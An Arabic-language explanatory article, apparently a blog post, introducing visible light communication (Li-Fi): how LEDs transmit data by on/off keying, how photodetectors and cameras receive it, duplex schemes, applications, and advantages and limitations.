 تقوم هذه التقنية على أساس تضمين (Modulation) الإشارة المرسلة مع انبعاث الضوء أي إنها تضمن موجات داخل موجات وفكرتها إن هذه الإضاءة تغلق وتفتح بتردد عالي يقدر بآلاف المرات وبسرعة عالية جدا والتي لا تستطيع العين البشرية ملاحظتها وتمييزها وتعتبرها مضيئة دائما، حيث يكون عملية إرسال المعلومة عن طريق هذا الإغلاق والفتح لتمثيل الصفر والواحد في لغة الكمبيوتر وهو نوع من الـ Modulation يسمى OOK On/Off Keying. قد يسأل البعض وكيف نستقبل الإشارة إذا أطفأنا الإنارة؟ الجواب هو إن هذه التقنية تعمل حتى ولو كانت الإنارة مطفئة وستقوم بالتوصيل، حيث إن الإنارة هنا سيتم تحويرها لكي تبقى هناك ومضات غير محسوسة هي التي تقوم بعملية النقل. حيث إن تغذيتها بتيار ضعيف يمكن أن تسمح لها بإصدار الفوتونات التي تقوم بالنقل. أما الخيار البديل فيمكن أن يكون تصميم دايودات باعثة للضوء تتضمن مصادر ضوئية تبث بترددات غير مرئية لتحقيق هذه الوظيفة حين إطفاء أنوار الغرفة. أما طريقة استقبالها فهي تحتاج إلى جهاز مستقبل خاص يكون أشبه بالمودم يقوم باستقبال هذه الومضات ونقلها إلى دائرة الكترونية لتحويلها إلى إشارات مفهومة. من أهم مكوناته ببساطة هو متحسس ضوئي Photodetector وهو عبارة عن قطعة الكترونية تقوم بتحويل الضوء الساقط إلى فولتية أو تيار. وهي تكون على عدة أنواع: مثل الدايود الضوئي Photodiodes، الترانسستر الضوئي Phototransistors، أو المقاومة الضوئية Photoresistors. ومن أهم الأشياء انه يمكن استعمال الـ LED نفسه للإرسال والاستقبال حيث يمكنه استقبال أطوال موجية محددة وبحساسية قليلة لبعض الألوان وحسب الطول الموجي لكل منها ولكن يعتبر هذا مقبولا مقارنة مع المكونات المصنوعة خصيصا كمستقبلات للضوء. فمثلا يمكن للـ LED الأخضر التحسس بالضوء الأزرق والأخضر ولا يمكنه التحسس للأصفر والأحمر، وهذا يعتمد على لون الـ LED ليمكن استعماله كمرسل ومستقبل وبأزمان مختلفة. وهنا مثال لدائرة الكترونية نموذج تمثل الـ Access point والصورة التالية تمثل جهاز End user. كما يمكن لكاميرا الهاتف النقال أو الكاميرا الديجيتال التقاط وتحسس هذه الإشارات حيث تتكون هذه الكاميرات من مصفوفة من المتحسسات الضوئية على عدد البكسلات وكل منها يستطيع استقبال الضوء المسلط عليها وذلك بدعم تطبيق برمجي يتم تثبيته لترجمة هذه الإشارات وهو بمثابة تحوير لعمل الكاميرا. وبفضل وجود أكثر من متحسس بدلا من واحد نستطيع استقبال الإشارة على عدة قنوات اتصال حيث تمثل كل قناة بمتحسس والذي بدوره يمثل بالبكسلات الخاصة بالكاميرا. ومن الحلول لنظام الإرسال والاستقبال في هذه التقنية بشكل عام في الاتصال الـ Full Duplex، اقترح الباحثون أن يكون إحدى هذه الطرق: ممكن أن يكون الاستقبال بطول موجي معين مثل الضوء العادي والإرسال بطول موجي آخر مثل أشعة الـ IrDA. أيضا ممكن عزل الإرسال والاستقبال عن طريق الوقت أي إن الإرسال يكون بفترة زمنية معينة وبعدها يكون الاستلام وأيضا بفترة زمنية معينة كما في نقل الإشارات بتقنية TDM المستخدمة في الاتصالات عن طريق تقسيم الزمن. من الاقتراحات الأخرى هو استخدام موجات الراديو في الإرسال وخاصة في الانترنت حيث يكون بكميات قليلة وبذلك استطعنا الاستفادة من مميزات كل تقنية. وأخيرا هناك بعض الأجهزة مصممة للخدمات أو التطبيقات التي لا تحتاج إلى إرسال بيانات كما في الراديو والتلفزيون لهذا فلا داعي لوجود دائرة إرسال أصلا. كيف يمكننا الاستفادة منها ؟ يمكننا استغلال هذه التقنية وتطبيقها في عدة مجالات أهمها هو الدخول إلى الانترنت والتي تعتبر الغرض الأساسي و كذلك النقل بين أجهزة الشبكة، لذلك تتنوع استعمالاتها بين الشبكات وبين مجال الاتصال بشكل عام ومن هذه الاستخدامات: تعتبر حل مناسب في الأماكن التي تزدحم فيها إشارات أجهزة الواي فاي والأجهزة التي تستعمل الموجات الراديوية حيث تكون أكثر عرضة للضوضاء والتداخل فيما بينها فعلى سبيل المثال تزويد الانترنت في الطائرات وذلك لتجنب التشويش على أجهزة الاتصال فيها، فقريبا جدا سيكون بمقدور الركاب استخدام شبكة الإنترنت على أجهزتهم الخاصة أثناء السفر، في الوقت نفسه سيوفر لمصنعي الطائرات مبالغ طائلة يتم إنفاقها في إنشاء كيلومترات من الكابلات. تستعمل في الأماكن الخاصة والسرية والتي تحتاج إلى تامين الدخول إلى الشبكة كون البث لا يتعدى الجدران إلى باقي أجزاء المبنى كما في باقي التقنيات وينحصر في الغرفة التي تحتوي الأجهزة فقط. يمكن أن تكون البديل الأمثل للشبكات التي تستعمل الموجات الراديوية المضرة وخصوصا التي تبث بقدرات عالية حيث تعتبر الـ VLC غير مضرة للصحة ولا تشكل أي خطورة. كذلك يستعمل في الأماكن التي يكون فيها البث بالموجات الراديوية ممنوعا ويحتاج إلى ترخيص كما في المواقع العسكرية. أيضا يمكن استعمالها لإيصال الربط بين أجهزة الـ GPS داخل البنايات والأقمار الصناعية وحيث إن اتصال الـ GPS يتطلب وجود فضاء مفتوح للاتصال بالأقمار الصناعية، وبذلك ساهمت في حل بسيط لهذه المشكلة. يمكن استخدامها داخل المصانع، حيث إنه في كثير من الأحيان تؤثر الشبكات الراديوية اللاسلكية سلبا على كفاءة وفاعلية الأجهزة وبالتالي على عجلة الإنتاج. يمكن استخدامها في المستشفيات على سبيل المثال، حيث يمكن توظيف جزء من قدرة مصابيح غرفة العمليات في توجيه روبوت داخل غرفة العمليات أو تشغيل أجهزة الغرفة أو جهاز أشعة الإكس راي. من ناحية الاتصال يمكن الربط عن طريقها بين جهاز وآخر، حيث يمكننا عمل شبكة بين هاتفين أو لربطها مع الكمبيوتر، إضافة إلى ذلك في شهر يوليو من هذا العام 2011 وبالتحديد في مؤتمر TED العالمي تم أيضا تقديم أول تجربة نقل فيديو بنقاوة HD وعرضه على التلفزيون باستخدام تقنية الـ VLC ويمكن تطبيق غيرها من الأمثلة على ذلك. يمكن استعمالها للاتصال بين الغواصين بسبب صعوبة إمكانية الاتصال بواسطة الإشارات الراديوية تحت الماء وأيضا لإعطاء بعض المعلومات عن البضائع في الأسواق وكذلك في تبادل المعلومات بين الإشارات المرورية ولوحات الإرشاد و التحذيرات بشأن الاختناقات المرورية أو الحوادث بين السيارات في الشوارع. ماذا يميزها عن غيرها من التقنيات ؟ أكثر أمان من الشبكات اللاسلكية الأخرى. يمكن زيادة مدى الاتصال بزيادة قوة الإضاءة من دون خطورة على العينين وهذا الأمر مستحيل مع الأشعة تحت الحمراء. تكلفتها المنخفضة. سهولة انتشار شبكتها حيث يمكن أن تتواجد أينما وجدت الإنارة. تعتبر صديقة للبيئة. استهلاكها القليل للطاقة.
 ما هي الأشياء التي تنقصها ؟ حزمة البث تكون موجهة وتنتشر في مساحة محددة لذلك يحتاج إلى أكثر من نقطة بث لتغطية المبنى. ضرورة أن يكون المجال مفتوحا بين نقطة الإرسال والاستقبال، فعليا يمكننا استقبال الإشارة عند قطع الفراغ بينهما نظرا لانعكاس الضوء وانكساره ولكن يتوقف الاتصال عندما يتم تغطية المجال بين النقطتين بشكل تام. يحتاج الجهاز المستقبل إلى إضافة قطعة الكترونية تمكنه من إرسال واستقبال وفهم هذه الإشارات. بقي أن أضيف إن هذه التقنية يجري العمل عليها حاليا بشكل أساسي لتحسين سرعتها ويتوقع أن تكون لها قبول وشعبية في المستقبل القريب، وكما يقول هارالد هاس أبرز الباحثين في هذا المجال والذي يعمل كأستاذ في معهد الاتصالات الرقمية في جامعة ادنبره في اسكتلنده “إن الاتصالات عبر الضوء المرئي ستؤدي إلى ارتباط أوثق بين البشر والآلات”. وبهذا فهي ليست الأفضل في الوقت الحالي ولن تكون البديل لباقي الشبكات ولكن حسب رأيي ستكون حل لبعض نقاط الضعف لتقنيات الشبكات الأخرى وإضافة جيدة لها. وكما قلت هذه التقنية هي الآن تحت الأبحاث وقد اطلقت بشكل تجريبي في عام 2012